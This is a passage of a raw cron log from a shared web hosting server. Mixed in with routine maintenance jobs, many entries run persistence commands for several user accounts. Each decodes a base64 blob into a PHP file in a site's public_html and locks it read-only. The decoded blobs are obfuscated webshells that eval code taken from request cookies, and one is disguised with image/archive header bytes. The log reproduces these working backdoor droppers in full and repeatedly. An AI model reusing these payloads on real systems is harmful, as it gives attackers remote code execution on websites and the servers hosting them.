IDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:54:02 medusa CROND[21273]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:54:02 medusa CROND[21275]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:54:02 medusa CROND[21276]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:54:02 medusa CROND[21277]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:54:02 medusa CROND[21274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:54:02 medusa CROND[21281]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:54:02 medusa CROND[21289]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:55:01 medusa CROND[12955]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 13:55:01 medusa CROND[13069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:55:01 medusa CROND[13084]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 13:55:01 medusa CROND[13087]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 13:55:01 medusa CROND[13086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:55:01 medusa CROND[13090]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 13:55:01 medusa CROND[13092]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:55:01 medusa CROND[13089]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:55:01 medusa CROND[13091]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 13:55:01 medusa CROND[13095]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 13:55:01 medusa CROND[13099]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 13:55:01 medusa CROND[13100]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:55:01 medusa CROND[13101]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:55:01 medusa CROND[13102]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 13:55:01 medusa CROND[13103]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:55:01 medusa CROND[13107]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 13:55:01 medusa CROND[13110]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:55:01 medusa CROND[13115]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:55:01 medusa CROND[13123]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:55:01 medusa CROND[13126]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:55:01 medusa CROND[13094]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 13:55:01 medusa CROND[13109]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 13:56:01 medusa CROND[4709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:56:01 medusa CROND[4785]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:56:01 medusa CROND[4790]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 13:56:01 medusa CROND[4792]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:56:01 medusa CROND[4804]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 13:56:01 medusa CROND[4808]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:56:01 medusa CROND[4805]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:56:01 medusa CROND[4810]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:56:01 medusa CROND[4814]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:56:01 medusa CROND[4820]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
